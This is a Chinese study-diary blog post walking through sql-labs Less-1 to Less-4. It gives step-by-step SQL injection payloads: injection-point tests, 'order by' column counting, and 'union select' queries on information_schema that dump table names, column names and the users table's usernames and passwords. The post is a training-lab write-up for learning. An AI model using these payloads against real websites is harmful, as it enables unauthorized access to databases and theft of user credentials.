学习的第十五天

sql-labs Less1-4

来了,鸽王回归,今天我们继续来做题。
这篇文章主要是记录较为完整的sql注入流程。
方便以后我忘记。

要记住的几个对象与函数与大致流程。

  • information_schema------mysql创建后自动生成的数据库,包含了usr等重要的表
  • information_schema.tables-------上面那个数据库中的表,可以查询到所有数据库名和表名。
  • information_schema.columns----------上述表的字段,可以查询到该表的所有字段。
  • group_concat---------函数,作用是将多个字符串连接成一个字符串,用法:concat(str1, str2,…)
  • %23---------------代表#,有些情况不能使用#则用其代替。
  • 在开始前我们需要知道,我们需要的是一个正确的数据库中的一张正确的表中的一个正确的字段里的一个数据。所以我们先要找到一个注入点,再查询数据库名,再查询数据库中的表名,再查询表中的字段名,再查询字段中的各个数据,从而得我我们想要的东西。
  • 听上去很繁琐,但是很公式化,所以我们也必须要记住它公式化的流程,再在此基础上进行变通。
  • 还有就是可能需要输入的东西有点多,可以根据个人习惯用记事本记录再复制粘贴,以及hackbar来减少无效的工作量。

less-1 基于错误的单引号字符串

虽然根据题目名字我们可以判断出这道题是一道单引号注入,但是我们还是要根据系统流程走一遍。

  • 判断注入点
    构建payload
    ?id=1---------------没有报错
    ?id=1'-------------报错
    ?id=1"--------------没有报错
    证明'是一个可注注入点,但不一定是唯一注入点,不过我们只需要一个就够了。
    在这里插入图片描述
  • 查询该网站页面存在字段数量。
    构建payload。
    ?id=1' order by 1%23-------------不报错。
    ?id=1' order by 2%23-------------不报错。
    ?id=1' order by 3%23-------------不报错。
    ?id=1' order by 4%23-------------报错。
    说明存在4个字段。在这里插入图片描述
  • 查看网站字段中回显的是其中的哪几行。
    构建payload。
    ?id=-1' union select 1,2,3%23
    这里要注意的是因为我们有用到联合查询,所以我们需要让前面的一部分为错误,以保证网站会回显后面的部分。
    在这里插入图片描述
    我们可以看到网站会回显的是2,3两个字段,所以后面的注入我们可以放在这两个字段中进行。
  • 查询数据库名
    构建payload。
    ?id=-1' union select 1,database(),3 %23
    在这里插入图片描述
    我们可以在2号位回显处得到数据库名security。可以放到记事本里, 方便后面可能会用到。
  • 查询表名
    构建payload
    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
    在这里插入图片描述
    同样,我们在3号位回显处得到了security数据库中的所有表名。可以放到记事本里, 方便后面可能会用到。
  • 查询字段名
    构建payload,我们以``users表为例。

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23
在这里插入图片描述
这样我们可以从3号回显处得到了users表中的所有字段名。同样可以放到记事本里, 方便后面可能会用到。
当然我们不知道我们所查询的表是不是我们真正要找的表,所以就体现出了记事本记录的优势。我们只需要将记事本中所记录的数据里的表名替换就能快速查询。

*查询字段内容
构建payload
?id=-1' union select 1,2,group_concat(id,username,password) from users%23
在这里插入图片描述
到此为止我们就基本上完成了最最最基本的一套sql注入流程。

*下面的Less我将省略与上面相同的步骤,重点说明不同的sql注入点存在可能性以及被过滤的关键词的解决方法。

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

根据题目显示这是一个整型的注入点,说明查询语句并没有被什么符号所“框住”,所以尝试和Less-1相同的payload,去除单引号',成功。
在这里插入图片描述

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

在这里插入图片描述

  • 我们尝试Less-1的payload发现了提示中含有),所以在尝试构建payload时,添加)
    ?id=1')%23
    在这里插入图片描述

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

根据题目可以知道这次是双引号",将Less-1的payload的'改成"进行尝试。
在这里插入图片描述
成。。。。。诶,还没成功呢,根据提示我们还需在payload加入单括号)
?id=-1" ),进行尝试。
在这里插入图片描述
成功。

这次的做题就止于此了,明天依旧光芒万丈呢!

咳咳。。。。开个玩笑,本篇内容主要还是记录一下sql注入的最最最基本,最最最系统的流程,怕以后淡忘,同时如果也能帮助到刚接触sql注入的小师傅们那就更好不过了。

又一个知识点被我们巩固了,接下来还会有更多的只是能被我们灵活使用!
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值